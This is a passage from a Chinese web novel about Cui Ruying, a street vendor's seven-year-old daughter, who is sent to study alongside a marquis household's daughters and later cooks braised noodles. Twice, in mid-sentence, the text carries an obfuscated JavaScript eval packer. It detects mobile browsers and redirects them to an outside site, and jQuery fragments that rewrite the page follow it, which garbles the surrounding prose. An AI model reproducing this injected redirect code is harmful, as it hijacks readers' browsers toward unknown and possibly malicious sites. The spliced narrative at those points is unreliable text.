崔如英也行了个礼，“三娘子好。” 陆云蓁笑了笑，“坐下吧，今日请你们二位过来，是有事相商。” 许娘子心里又紧张起来，心跳得快，耳朵和脸也慢慢热了。 陆云蓁慢声道：“许娘子不必紧张，放心，不是坏事儿，先坐下吧。锦月，看茶。” 崔如英大概能猜到是什么了。 崔如英猜，应该是名字的事儿。 早先在璋哥儿洗三那日，崔如英求陆云蓁帮忙改名字，陆云蓁就提过让跟着府上姑娘去读书的。 这是个折中的法子，今天不会说的就是这个事吧。 崔如英和许娘子一块儿坐下，锦月又端上来茶水，这茶清香扑鼻，喝了两口放到一边，崔如英问：“三娘子，不知你想说的是何事？” 陆云蓁：“前两日听三爷提起大房的女儿 下个月就要去府里学堂启蒙了，为人母为子女计深远，只不过璋哥儿还小，我身边的孩子只有三丫一个，我便想到她了。 许娘子，你孩子多，应该比我体会深刻，我是觉得她聪颖伶俐，甚至于说比二房的女儿还要聪慧懂事，各中难得，想来你也知晓。” 这可不是一句穷人家的孩子早当家就能说得通的。 陆云蓁笑着看向许娘子，“所以我想着让三丫也跟着去学堂读书，女儿家虽不用考取功名，可能识文断字，对日后来说也有好处的。这是我的意思，但你是她的母亲，此事还应该问过你才是。” 崔如英是许娘子的女儿，如今才七岁，大事她做不了主，陆云蓁也做不了主，该如何还是得听许娘子的意思。 崔如英看了许娘子一眼，许娘子也低头看了看她，她也说不准许娘子会怎么想。 毕竟来时许娘子嘱咐过多次，不可乱跑，不可生出旁的心思，本分最要紧，或许在许娘子心里，女儿家想读书也是一件不本分的事。 男儿能建功立业，可女子又能做什么呢？ 崔如英也在这儿生活好几年了，别人家的女儿十五六岁就嫁人了，比起读书，会绣花女红好，会做一顿好吃的饭菜，好似更重要。 她想，假如许娘子不同意，她就求着改个名字。 反正也读过书，攒些钱自己看书练字，不是难事。 崔如英暗自想着，陆云蓁也在等。 半晌，许娘子说道：“多谢三娘子为三丫打算，只是这……” 作者有话要说 第 25 章 去学堂 第25章去学堂 许娘子看看女儿又看了看陆云蓁,“只是这束脩，该如何算？我每月月银三两，三娘子,不然束脩就从月银里扣吧。 家里就大郎读过书,当时每年有三两银子的束脩,后来家里穷,满打满算也就读了两年。 说实话，许娘子当然更愿意把这个机会给大郎,大朗是男娃,读些书以后的路更宽，可聪慧是女儿聪慧，三娘子愿意如此也是因为女儿自己。 她这个女儿的确聪明，看人包包子，就能记下来给家里带来一桩大生意，进侯府也得三娘子喜欢。惦着家里,从侯府到崔家来回一个多时辰都记得路,她顾念不到总是女儿来回跑。 偶尔许娘子都忘了,女儿才七岁大。 侯府的女儿这个年岁读书识字,她的女儿能寅时就起来,坐着板车去卖包子。这个时候，许娘子也觉得愧对孩子。 如今有这样一个机会，许娘子又不傻，能分不清好赖吗，不是好事儿,那侯府的小娘子怎么会去读书呢。 三娘子觉得既然女儿能去那就去,大不了日后读不好再回来,只不过这是天大的恩情,能去已经不得了了，束脩肯定得自己交。 估计得好大一笔银子。 舍得自然舍不得，可家里的生意是三丫带来的，一个月能赚这么多钱也亏了女儿，有就拿出来一些。 若是没钱，许娘子肯定不会考虑让崔如英去读书。 有了钱，许娘子也不想太小气。 这侯府的先生跟当初崔大郎去读书时的先生肯定不一样，多读点书，定然有好处。 崔如英怔了怔，她没想到许娘子要问的是这个。 陆云蓁也松了口气，她还害怕许娘子不答应呢。本来也没想过束脩，不过既然许娘子提了，就象征收些，也省着她们觉得受之有愧。 陆云蓁觉得，按照给许娘子的月和赏钱算，一年二两不算多。 她道：“束脩一年二两银子，就从你月银里扣吧。读书下个月初五开始，小儿家也不必太累，每日上半天就成了，上个五日就歇上两天。 女儿家启蒙和男子启蒙不同，女儿不用考取功名，能读书识字就是锦上添花了，男子自然要更严苛一些。 不过就算如此，请来教书的也是朝中大儒，搁别的府邸想请都难的。 二两银子对许娘子来说倒也还好，她笑了笑：“都听三娘子的。 她嘴笨，也不会说感激的话。 崔如英认真 道：“多谢三娘子惦记着我，大恩大德，没齿难忘。” 陆云蓁笑了笑，“既然有这机会，就好好读书。也不必顾忌她们是侯府的姑娘，更不用藏拙。受了欺负就和我说，万事有我和三爷呢。你是咱们燕归堂出去的人，别害怕。” 崔如英这会儿倒是听出来陆云蓁因何让她去读书了，受恩于她，回报一二也是应该的。况且，不管因为什么，给她的是实打实的好处。 崔如英点点头，道了声好，“三娘子请放心，读书机会来之不易，我不会辜负三娘子和我娘的一片苦心。” 陆云蓁不禁想，就这一番话，由一个七岁的孩子口中说出来也不易。 大房的女儿会说话，也得侯爷疼爱，虽说自家的孩子好，可是那是没跟别人家的比过。 二房养得娇些，陆云蓁也听孙惠茹抱怨过，二房三房是嫡亲兄弟，若是能带着一块儿读读书也好，不成也不会让大房的占尽风头。 崔如英能去正合适不过。 陆云蓁觉得如英二字甚好，女儿家若柔弱，可“如英”二字却带着股子韧劲儿，听着朝气蓬勃的。 也到正午了，陆云蓁没有久留，让母女二人回去用饭。 二人行了个礼，许娘子是拉着女儿的手出门的，回到屋里，饭菜已经在桌上了。 崔如英忍不住高兴，在许娘子往外拿饭菜的时候笑着看她，“娘，你可真好。” 这话说得慢，听着温温柔柔，跟春风似的，许娘子点点崔如英的鼻尖，道：“这就好了呀。” 饭菜一如往常，但崔如英就是觉得，今儿的饭比以往的好吃。 许娘子察觉出女儿高兴了，在正屋时她也看出来了，女儿想去。 她最怕的是女儿被侯府富贵迷了眼睛，什么都不顾了，一头热赶上去，偏偏这样才最被别人瞧不起。 三娘子那样的人，什么人没见过。 但崔如英挂念家中，一来一回那么远，都回去好几次了，从没有不想回去过。 可见没有像许娘子想的那样，扒着侯府当家。 想读书就读吧。 侯府的先生，一年束脩才二两银子，不算多。况且，陆云蓁总给赏钱，算下来也没花什么钱。 二两银子估计还是少要的，别人哪儿有这样的机会。 若是三娘子想把女儿留在侯府，她肯定不会同意，但读书是好事，她也不想困着女儿，把这样来之不易的机会推出去。 不过许娘子还是忍不住嘱咐了几句，“三丫，既然有这机会，就 该珍惜，好好读书，听话些，不懂的多问，如果是实在读不好……” 真不是这块料子，那白花这个银子作什么。 崔如英笑着接话道：“如果读不好，女儿就不读了，咱们家守着包子摊，日子也很好过。” 若真读不好，一直耗着岂不是浪费银子，非要学大户人家女儿读书作什么。 许娘子闻言摸了摸崔如英的脑袋，“你能想通就好，等我问问三娘子都需要什么，纸笔这些，书用什么书，也给你置办一套。” 崔大郎读过书，但时间久远，许娘子也不识字，早就忘了。 崔如英抱着许娘子的胳膊，“娘，你真是太好了！” * 而另一边陆云蓁办事利索，直接在钱夫人来燕归堂看璋哥儿的时候跟她提及了此事。钱夫人几乎日日都来看孙儿，孩子还小，自不会一直往正院抱，离得也不远，就算远她也乐得跑这一趟。 孩子抱进屋，钱夫人温柔逗着，倒是一片和乐。 陆云蓁看了一会儿，笑着把想让崔如英去学堂的事说了，“母亲有所不知，这孩子聪颖伶俐，儿媳坐月子这些日子，她帮着做了不少吃食，儿媳实在不忍她只做这些，什么都不懂，一辈子就这样埋没了。所以想求母亲，让她跟着大房和二房的女儿一块儿读书。” 这算不得大事，反正教一个也是教，教两个也是教，再多一个而已。 陆云蓁刚生了个儿子，安定侯很是喜欢，钱夫人不会连这点事都不答应，她拉着璋哥儿的小手，“都由着你。” 这对钱夫人来说委实算不得什么大事儿，让儿媳高兴一点儿，读个书又如何？便是日后都在府中住下也无碍。 况且读点书，性子也能稳妥些，省得举止粗俗上不得台面。 钱夫人应允，这事就定下了。 如今府中的事还是钱夫人在管，只不过很多小事交给了身边的几个嬷嬷。大房的女儿楚玉娴要去启蒙还算一件大事呢，赵婉芝甚是上心。 就盼着女儿能给二房的楚玉珠比下去。 谁知道三房也来凑热闹。 怎么着，儿子还小不能来，奶娘的女儿也非要塞来？ 赵婉芝不悦，一个奶娘的女儿，什么身份，也配跟她女儿一块去读书，陆云蓁只会找她不自在。 陆云蓁想做什么，想说她生了个儿子受宠爱，婆婆什么都答应她，以后侯府爵位也是三房的？ 赵婉芝气不过，可和大爷说，楚庚淳只道：“都应下的事，母亲怎么会反悔，一块儿读个书而已 。” 赵婉芝：“什么叫一块儿读个书而已咱们女儿什么身份一个奶娘的女儿妄想飞上枝头都不知道冲着什么来的！” 楚庚淳道：“母亲高兴能有什么办法先这样读着吧。让玉娴好好读书不可懈怠。” 赵婉芝后来想想那丫头来读书也不是全无好处市井出身爹娘大字不识说是聪慧伶俐可到底什么样谁知道呢？ 她的女儿自小耳濡目染如今已经能背数十首唐诗了。 况且女儿才五岁加上二房的楚玉珠娇纵蛮横如今还让先生头疼听说那丫头已经七岁了要是什么都不会去学堂只会丢人现眼。 赵婉芝这般就不担心了还贴心准备了一套笔墨纸砚和启蒙书本送过去。 她是做嫂子的得面面俱到才行。 陆云蓁笑着收下了后头许娘子问都要准备什么时她道：“都准备好了下个月让三丫去读书就是。” 改名字的事儿陆云蓁到时再和先生说吧。 离初五还有几天呢崔如英打算期间再回家一次多住几天。 不然去学堂之后再回家就只能下午来回这样才能不耽误第二天上课时间短回去一趟也做不得什么。 且五日一次谁知放假的两日是下雨还是什么。 回家要帮帮忙生意如今稳妥也不必太着急租铺子的事儿况且不是小钱总得攒攒银子再说。 这一晃眼就到了月底许娘子也发了这个月的月钱。 其实来侯府还不足一个月呢但月钱都是月底发许娘子这月拿一两的月银 看着少了银子许娘子心里还是有点舍不得转念一想读书是好事儿做母亲的自然希望儿女好。 许娘子只盼着崔如英好好读书日后也教教二丫识字别像她和崔大山大字不识什么都不懂就连做生意也畏手畏脚的。 月初的时候崔如英回家住了三天许娘子是没假的其实跟李嬷嬷说也可以回去两个时辰只不过崔家住得远来回一趟太耽误时间许娘子也就没回。 这到了四月天气更加暖和街边柳枝翠绿鸟语花香。 巷子里也热闹崔如英看家里的鸡仔也长大了不少。 回来的第一天她就和家里说了要去读书的事儿连着每年束脩二两银子一同告诉了他们“到时上五日休两日休假的时候我再回家不过若赶上阴天下雨也没法儿回来帮忙家里还得爹你 们多顾着。” 崔大山怔了怔，还是崔大郎反应快，笑着对妹妹说：“能读书是好事，一定要好好读。” 崔大山在心里叹了口气，儿子就读了两年书，许娘子也跟他说过，日后有了钱，再让崔大郎去读几年。 没想到竟然是女儿要去读书了。 一年二两银子，全是白给出去的，不过再想想生意也是女儿带来的，那还是侯府，这二两估计还是体谅崔家贫苦，少收了。 这么一想，崔大山就什么都说不出了。 崔大郎心里虽有些不得劲，但这是好事儿，也真心替妹妹高兴。 而二丫也不太懂这些，读书对她来说还远着呢，而且她没听过女子也要读书的，从前听大哥背那些诗句头都大了，她才不要读书。 三丫愿意没办法，就是不能常回来了。 崔如英也能看明白崔大山的神色，她没往心里去，连侯府都更看重小公子，普通人家，崔大山自然也对长子寄予厚望。 崔如英明白，也能理解，但若是许娘子都点头了崔大山却不乐意，让许娘子想法子把机会给崔大郎，她是不会干的。 等家里有钱了，家里孩子都去读书也使得，如今有机会，崔如英不会放弃。 这事儿也就过去了，崔如英回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764373|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一件要紧事，就是数数上个月家里赚了多少钱。 做生意月初盘点，崔家也不例外。 家里是从上个月初六开始做生意的，抛去阴天下雨的几日，日日出摊儿。后头每日下午去城东卖生煎，也卖了近十天呢。 崔大郎每日有记账，赚多少，买面肉调料这些东西花多少。 崔如英一页一页看着，这般算下来，卖酱肉包子赚了四千三百文，卖生煎包子赚了两千六百三十文，加在一块儿总共六千九百三十文钱。 其中崔大山还找人打了口平底锅，花了半两多银子，这个算在了卖生煎的本钱里面，不然能赚更多。 还不到一个月呢，崔大山也就每日让儿子记账，赚的钱就收起来藏好，也没月初数钱这个意识，不想都这么多了。 一匣子的铜板，一百文串在一块儿，看着甚是壮观。 小本生意，都是一个铜板一个铜板赚出来的，这么多铜板放在家里也不是那么回事儿，而且不好藏。 崔如英道：“爹，不如去钱庄给换成银子，也好放，家里这么多钱呢，总不好一吊钱藏一处地方。” 如今一千个铜板换不了一两银，估计得一千一二，但算起来也有六两银子呢。 余个几百文家里花销应急，毕竟下个月还赚钱呢。 崔如英在心里估算着，上个月许娘子还得了赏钱，月银一两，赏钱四两，一共是五两，一家人加在一起有十一两多银子。 而且包子摊儿赚得还多些。 崔大山脸上带着几分笑意，“行，明日白天我去给换了。” 加上家里原来的积蓄，再抛去这个月的花销，也有十二两多了。 这个月买了鸡仔，还吃了几次肉，花销也大。 崔大山看看儿子又看看女儿，家里孩子懂事，帮着做了不少事，可家里孩子也多，要存钱给大郎置办房子，还想送他读书去，四郎五郎还小呢，也要给二丫存些嫁妆。 钱是最禁不住花的，看着多，但也干不了什么。 崔如英看崔大山神色由喜转忧，估计是发愁家中生计，愁点儿也好，不然也不敢盘铺子。 在家里待了三日，崔如英就回侯府了。 后日就要去学堂，许娘子帮着收拾好笔墨纸砚。 做母亲的爱操心，尤其女儿要跟着侯府的小娘子们一块儿读书，许娘子还真放心不下，忍不住叮嘱道：“到底是侯府的姑娘，你若是能学会，自己心里清楚就够了。” 太出挑了也不好，侯府脸面总要顾及的。 崔如英笑着道：“娘，你还真是高看我，后天啥样还不知道呢。三娘子说了，二房的姑娘已经上了一年学了，长房的姑娘跟在爹娘身边，也会背诗。” 许娘子松了口气，“咱们不求别的，能读书识字就好了。” * 初五这日一早，崔如英跟着李嬷嬷去学堂。 她穿的还是许娘子给做的那身绣着黄色花朵的淡绿色衣裳，梳着双丫髻，头戴陆云蓁给的梨花簪子，这番打扮清秀可人，也衬得眉眼如画。 到了学堂，李嬷嬷带着崔如英进去，二人去得早，正好和先生打个招呼。 先生姓黄，五十多岁，是个告老的儒生。 李嬷嬷态度很是恭敬，“这是我们三房的人，还请黄先生好生教导。” 崔如英弯腰行了一礼，“学生见过先生。” 师者，传道受业解惑也，黄先生来侯府讲学也有几年了，从前给大公子启蒙过，这两年只教二房的楚玉珠，今年多了一个长房姑娘，再多一个也无妨。 看年岁比跟楚玉珠差不多，先问了名字，心中了然这不是楚家人，然后又问了年岁。 崔如英仰着头道：“回先生，学生今年七岁了。” 黄 先生点点头，“从前可读过什么书，可识字？” 这世家子弟按理是到了年岁才启蒙，可少不了先前就读书识字的，黄先生看崔如英不像世家女，可看说话行礼，又有几分气度。 崔如英道：“学生未曾读过什么书，也不曾识字。” 黄先生心里有数了，“行了，你先去左边坐下罢。” 学堂很是宽敞，和侯府一般房舍不同，窗户更大，上头吊着百叶帘子，这会儿才晨起，整间屋子愈发显得明亮。 因为来读书的人不多，屋里只摆了三张矮脚书案，书案上有笔架、洗笔的水盆、清水这些。 崔如英跟李嬷嬷道别，依着黄先生所指盘腿坐在左边书案后头的软垫上。 坐好之后，崔如英从书袋里把笔墨书本都拿了出来，笔墨这些是三娘子给的，书袋是许娘子闲暇时缝的。 李嬷嬷把人送到就回燕归堂了，学堂离燕归堂不远，回去就崔如英自己回去。 今儿是头一日，以后也得崔如英自己过来。 崔如英坐着等了一会儿，见大房大娘子带着女儿过来。 这大娘子崔如英在璋哥儿洗三礼上见过，她身边那个金光闪闪的应该就是楚玉娴了。 楚玉娴个头比崔如英矮一点，穿着一身漂亮的春梅红衣衫，袖口和衣领都绣着梅花。头上戴着好几支小簪子，有银的，有玉石的，颈间戴着一个嵌着红宝石的金璎珞，手腕上还有一对金镯子。 这是赵婉芝一大早特意打扮的。 大人穿戴的首饰多，显得繁杂，可小孩子多一点也无妨。 赵婉芝就是要崔如英记着自己的身份，哪怕来了学堂，攀上高枝儿，也时刻提醒自己什么身份。 世家贵女和市井丫头，云泥之别。 作者有话要说 明天十一点后更 第 26 章 铺子 第26章铺子 赵婉芝瞥了崔如英一眼,心里轻哼一声，转头笑着跟黄先生说了几句话，最后让丫鬟放下礼物,“一点薄礼不成敬意,还望先生好好教导玉娴。 黄先生道：“这万万不可,我已收了府上束脩,再收这个于理不合，还请拿回去,教导之事还请放心,我为师长，必然尽到本分。 赵婉芝见黄先生实在推脱，也没执着，嘱咐了楚玉娴几句，便回去了。楚玉娴坐到了右边的矮脚书案后面，中间的那张,想来是留给楚玉珠的。 崔如英翻看了书本,小儿启蒙,多是《三字经》《千字文》,字是繁体字,单个的不太好认，但顺着也能读下来。 翻看几页，崔如英看了眼门口，楚玉珠还没过来。 侯府的小娘子每日上午从辰时二刻上到午时二刻，总共上两个时辰,期间也会休息一会儿,但这会儿估计快过了时辰,楚玉珠竟然还没来。 黄先生似乎见怪不怪,拿起书本，对着二人道：“时辰到了，先上课吧。 “我是你们的先生，姓黄。黄先生没再说别的，“翻开你们面前的书，跟着我读吧，我念一句，你们念一句。 黄先生见二人都翻到了第一页，声音微沉，念道：“人之初，性本善，性相近，□□。 崔如英看着书，一边记字一边跟着读。 崔如英声音大且清脆，毕竟街上叫卖都能，念几句有何不可，“人之初，性本善，性相近，□□。 一边念一边看着书，崔如英想上课的时候就记住，也省了回去再看。 她不觉得难也不觉得累，对她来说启蒙还算轻松，况且读书比做包子轻巧，比起一大早起来剁馅儿揉面，读书实在是件又轻松又值得高兴的事儿。 宽敞明亮的屋舍，先生抑扬顿挫的读书声，纸香墨香，都让崔如英欢喜。 至于只她一人声音大，楚玉娴的声音小，崔如英读得认真，也没注意到。 黄先生看了楚玉娴一眼，楚玉娴微低着头，脸色发红，嘴巴的确在张着，可声音细弱蚊蝇。 小儿启蒙，自是不会学太难的书目，这《三字经》楚玉娴早就背过，里面的字也都认识。 但向来都是在赵婉芝面前背，在黄先生面前，她有些张不开嘴。 为人师者当尽心竭力，黄先生又念了一遍，这回楚玉娴脸几乎红透了，嘴都没张。 楚玉娴咬咬下唇，她不禁看了崔如英一眼，原以为崔如英会不敢开口 瑟瑟缩缩结果读书声音竟这般大。 女儿家该温声细语这么大声上不得台面。 世家贵女规矩多又是在外人面前楚玉娴脸颊发烫原想像在赵婉芝面前那般可越急脸色越红到后头鼻子都有了酸意。 先生又念一遍这是给她念的必是觉得她念的不好这般想着楚玉娴眼睛也发涩了。 崔如英这才注意到先生又念了一遍她心里记着陆云蓁的话呢可让她欺负一个五岁的孩子还真做不到只当自己是读书来的。 黄先生见状 上了小半时辰的课《三字经》前头也读过好几遍楚玉珠才被嬷嬷送过来。 楚玉珠大约是刚起来还打哈欠呢比起楚玉娴衣着打扮算得上寻常了。 黄先生让楚玉珠坐然后就教她们认字写字。 先讲了怎么铺纸研磨润笔黄先生说完这些先去教楚玉珠然后才教楚玉娴和崔如英。 楚玉珠上了一年多的学早会写字不过性子懒散写得算不得好。楚玉娴早也会写赵婉芝盯得紧如今已有模有样。 唯一没拿过笔的只有崔如英。 崔如英拿出了十二分的精神按照黄先生所教一步一步来倒也小有成效。 大抵是因为不是真正的孩子崔家人也懂事所以崔如英都忘了这么大的孩子该是什么样一门心思都在练字上头。 黄先生教三个孩子下面有什么动作他尽收眼底他不免感叹崔如英性子沉稳竟然这般坐得住。 再看其他两人楚玉娴因为读书没怎么开口想要表现写完一个字就问问黄先生写得如何得到黄先生点头才继续写。 而楚玉珠则是坐不住没一会儿就有个小动作写半个字久停下玩玩头发看看手指。 生在侯府读书的机会并非来之不易楚玉娴早有先生教导过而楚玉珠根本不愿意学这些。 二房就这么一个女儿就算黄先生尽心可二娘子舍不得管教长此以往黄先生也无法子就只能放任了。 黄先生尽自己本分教书看三人只有崔如英一声不吭不管是读书写字都认真对待心中有两分欣赏之意。 读书做事当脚踏实地这孩子就不错见崔如英分外认真还指导了她握笔写字的姿势。 大概人都喜欢把白纸一张画到满纸丹青也喜欢修剪枝桠看着一颗幼苗长成参天大树。 尤其看着崔 如英越写越好，黄先生心里还有几分欣慰。 一个上午就这么过去了，下课的时候，黄先生留了作业，虽然孩子还小，但是作业不可不留，有道是学而时习之，不亦说乎。 黄先生：“今日作业，一篇大字，玉珠写宁字，玉娴和三丫就写甘字。 繁体宁字难写，而楚玉娴和崔如英刚启蒙，作业简单些，崔如英点点头，跟黄先生行了个礼，“先生慢走。 楚玉珠走得最快，东西都顾不得收，也能看出她不想上课来。 楚玉娴收拾好东西看了眼崔如英，打扮得小家子气，还爱在先生面前表现，当真讨厌。 只不过母亲告诉过她，不必起冲突，小门小户的孩子没见过世面，看见侯府富贵，就想着扒上来。让她好好读书，时间长了，崔如英跟不上，就自愧不如主动离开。 但这样的人楚玉娴心里不屑，什么人都想来读书，还想在先生面前表现，也不看看自己配不配。 崔如英没急着回去，把黄先生留的大字写完，写完一张有点满意，就又写了一张。 墨还没干透，崔如英把后写的一张在书案上晾着，前头那张带了回去。 回到燕归堂，得知陆云蓁在用饭，也没打搅，回屋吃完饭睡了一觉，下午睡醒了又问了李嬷嬷一遍，“嬷嬷，三娘子可有空闲？ 李嬷嬷：“崔小娘子等等，我进去问问。 进屋之后，李嬷嬷对着陆云蓁行了个礼，“三娘子，崔小娘子想要见您。 从前都是陆云蓁叫李嬷嬷她们过去请崔如英去正屋说话，今儿还是头一回崔如英主动问陆云蓁在不在。 陆云蓁笑着对李嬷嬷道：“快把人请进来。 崔如英从屋外进来，外面春光明媚，屋内稍显昏暗。 可是崔如英笑起来比春光还明亮夺目几分，眼睛亮晶晶的，跟里面盛了星子似的。 以前陆云蓁总问，她家中好不好，在侯府住得习不习惯，今儿瞧见她这般雀跃欢喜，也不必问了。 崔如英行了个礼，“见过三娘子！ 陆云蓁笑着道：“不必多礼，这般高兴，手里拿的是什么，也给我看看。 崔如英这回有点不好意思了。 一张字而已，陆云蓁什么没见过，再说她写的并不是多好。 不过来都来了，崔如英有些腼腆，道：“今儿上课，黄先生留了作业，让写一篇大字，我多写了一张，拿来给三娘子看看。 陆云蓁身体往前倾了倾，“快拿给我瞧瞧。 一个“甘”字写了一张纸黄先生擅颜体教几个孩子的也是颜体。 崔如英字写得稚嫩可没习过字能写得工整就已经很好了。 一篇大字三十个陆云蓁觉得能写完就不错。 陆云蓁一边看一边点头“多学多练字要勤加练习才能好如今写得很是不错了以后肯定还能更好。” 陆云蓁又问了都学了什么璋哥儿还小过问一个孩子功课对她来说还算稀奇呢。 虽然让崔如英读书有她自己的私心可还是盼着崔如英好好学的。 陆云蓁看完对着崔如英道：“这张我就留下了日后勤加苦练我也好比一比看你有没有进益。” 崔如英点了点头“今日先生留了一张大字这张是多写的。三娘子放心我一定好好听课读书日后好回报三娘子。” 谁都愿意听好听的话陆云蓁笑了笑“你只要好好读书就是回报我了。” 长房楚玉娴如何陆云蓁没问她是听过赵婉芝跟钱夫人说楚玉娴会背什么诗恐怕也会写字。 想来如今是比崔如英好的这才一日只要崔如英好好学总有一日能超过去。 且慢慢看吧。 陆云蓁：“我收了你的字也得还些东西才是今儿是你上学的第一日送你一样礼物锦月。” 锦月笑着端上来一个锦盒陆云蓁拿来递给崔如英“这里面是一方刻着竹子的砚台对你读书也有用处我望你能如翠竹一般笔直心性高洁。今儿是好日子可别推脱了。” 崔如英看向陆云蓁说道：“三娘子待我可真好我如今才学写字用这么好的砚台也是委屈砚台了但三娘子放心日后肯定能有用上的一日。” 陆云蓁当真觉得这番话不像一个七岁大的孩子说出来的她摸了摸崔如英的脑袋“那我就等着这日。” 崔如英：“今儿教的我已会背作业也写完了三娘子 陆云蓁如今还在月子中不过坐月子已有二十日马上就出月子了。 除了生冷太过辛辣的不能吃其余的都能吃。 陆云蓁是想新鲜吃食可崔如英这还上着学呢哪里好意思麻烦她做这些。 崔如英道：“三娘子喜欢焖面炒面吃吗？” 面条软上面挂着汤汁各种配菜切成细丝不管是焖还是炒都比一般汤面入味更比打卤面多了丝烟火气。 肉固然好吃可面和米饭崔 如英偶尔不吃都会想吃。 陆云蓁诧异道：“面条还能炒着吃？ 陆云蓁吃过汤面，也吃过打卤面，赵大娘揉面拉面有一手的，做出来的也好吃. 卤子有炸酱，还有各种各样能拌着吃的菜。 面用小碗盛，配着菜吃，能吃的种类还多。尤其夏天的时，陆云蓁最爱吃这个，却没想到面还能炒着吃。 既然说了吃再推脱也麻烦，况且崔如英是个知恩图报的。有些时候陆云蓁自己拿了别人的东西，都觉得受之有愧呢，将心比心，让这孩子做些什么，她心里也能舒服些。 陆云蓁道：“那可太好了，你在我又有口福了。 崔如英行了个礼就去了小厨房，炒面焖面跟别的比起来，做起来算最简单的吃食了。 面条有赵大娘准备，崔如英觉得圆面条做起来更好吃，她还见识了赵大娘的拉面手艺。 一团面也不知怎么就成面条了，两边过细的切断，上头掸上面粉省着粘连，崔如英也准备起配菜来。 她看着今儿小厨房，竟然有块儿牛肉。 朝中律例不可宰杀耕牛，所以都是等牛老死，牛肉不易得，大厨房采买管事也是见三房如今受宠，才给送来一块儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764374|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只不过王大娘不常做牛肉，原打算晚上炖着吃的，炖得时间久，还能软一点儿。 崔如英切了一小块儿，逆着纹路切成细条，用红薯粉、盐、酱油等调料抓匀，放到一旁腌着。 菜则是切了几根辣椒，为了不让辣椒太辣，还把里面的籽给去了。 崔如英打算今儿先做焖面，要说简单是真简单，蒜末葱花下锅，把牛肉和辣椒炒熟，好不好吃看调料，小厨房各种香料都有，想难吃也难。 料汁好吃面就好吃，有人曾说好的料汁蘸鞋底子都好吃，也不全然夸张。 把牛肉炒熟，崔如英往里面加了水，用酱油盐等调料调了个底味儿，等水开上来后，盛出一碗备用，再把面条平铺了上去。 盖子一盖，用热气把面条焖熟，故叫焖面。 这个赵大娘看一遍也就会了，崔如英这般也是教二人，等晚上做给陆云蓁吃就是。 崔如英道：“除了放牛肉这些，还能放好多东西呢，比如豆角排骨，图的是个新奇。 赵大娘算是明白了，“崔小娘子心里手巧，我再琢磨琢磨，看能不能做得更合三娘子口味。 崔如英点了点头，不到半刻钟，翻看锅里的面也快好了，把盛出来的半碗水浇了进去，把面拌匀，时辰还早，没到 吃饭的时候，这盛一小碗，就当下午加顿餐。 崔如英也盛了小碗，从小厨房拿了个蒜瓣，这面闻着是香香辣辣的，今儿许娘子白日看，屏风那头田娘子正睡着，怕进去打搅，而且也就一小碗，她便在门口蹲着吃完了。 天好，饭菜也好吃。 牛肉用淀粉一抓已经软了，辣椒又软又辣，肉香和辣味儿全都在面里，上面还挂着汤，并不湿得过分，也不干得噎人。 一筷子吃进嘴里，有面有肉有菜，这在街头支个摊子卖焖面炒面也好呀。 日后租了铺子，没准儿还请人帮忙，难道还真守着个铺子不干别的营生了？ 家里兄弟姐妹六个呢。 面条是辣的，辣得崔如英鼻尖出了汗。 嘶…… 崔如英发现自己偏爱面食，不管是包子还是饼子，都喜欢，吃米饭的时候得配着下饭的菜吃才好吃。 相比于炒饭，也更喜欢菜多味道浓厚的炒面焖面这些。 香，真是太香了，蒜解腻增香，但偶尔咬多了会辣得耳朵疼。 一小碗面还不咋够吃，不过还得吃晚饭呢，晚饭崔如英等着许娘子回来才吃。 依旧是炒面，不过小厨房是用河虾仁儿炒的。 一个个虾仁儿不算大，但春日里的虾鲜得很，连虾头虾壳儿弄出来的油，也全进了这份焖面里。 这份焖面看着颜色金黄，汤汁都裹在了面上，配着酸辣爽口的小菜，样子也好看极了。 这个油还是赵大娘看着崔如英炸葱油时想出来的，这个时节有点活虾不易，味道鲜美不说个头还大呢，所以虾头虾壳全给炸了。 炸出来的虾油颜色金黄，虾头也脆生生的，虾头自不会给陆云蓁端去，这调了调料，由院子里丫鬟们分了。 许娘子的饭菜一如往常，瞧这碗面金灿灿的，还有好些虾仁，闻着香，光看着也让人食欲大增。 哪怕她不吃那个，闻着香味儿，也觉得今日的饭比往常好吃。 吃着饭，母女俩也有说有笑的。 自从田娘子来了之后，许娘子也不会多看半个时辰了，两人都是老实性子，只偶尔迟个半刻钟，倒也无妨。 许娘子觉得现在很是轻省，也不会夜里皱着眉头睡。 嘴上说着多看会儿无妨，可真按规矩来，许娘子还是很高兴的。 许娘子还问了问崔如英今儿在学堂咋样，崔如英把今天学的《三字经》给许娘子背了一遍，许娘子听完笑了笑，“不错。” 说完，许娘子笑 了笑，只不过这笑容太过短暂，很快就消失不见了。 许娘子想起儿子在家中，忍不住在心里叹气。 崔如英哪儿能看不出许娘子想什么，吃了口香喷喷的虾仁儿面，说道：“娘，如今家里有了银子，不然也让大哥去读书吧。” 家里只要少不了她的，别人如何崔如英不管。 崔大郎能读些书，改换门楣，对她也不是一点好处都没有。 就算考取不了功名，也能增长见识，说不准以后生意做大了。 读书能改变一个人的眼界，老实本分固然好，可总得去高处看看。 许娘子却道：“再说吧。” 家里是赚了些钱，可是钱禁不住花销，家里孩子多，挤在三间房里，先得要置办宅子，如今城南宅子也得七八十两，每月家中也有花销，彩礼钱更要攒着，还有四郎五郎，虽然还小，可也得准备着。 二丫三丫也得备些嫁妆。 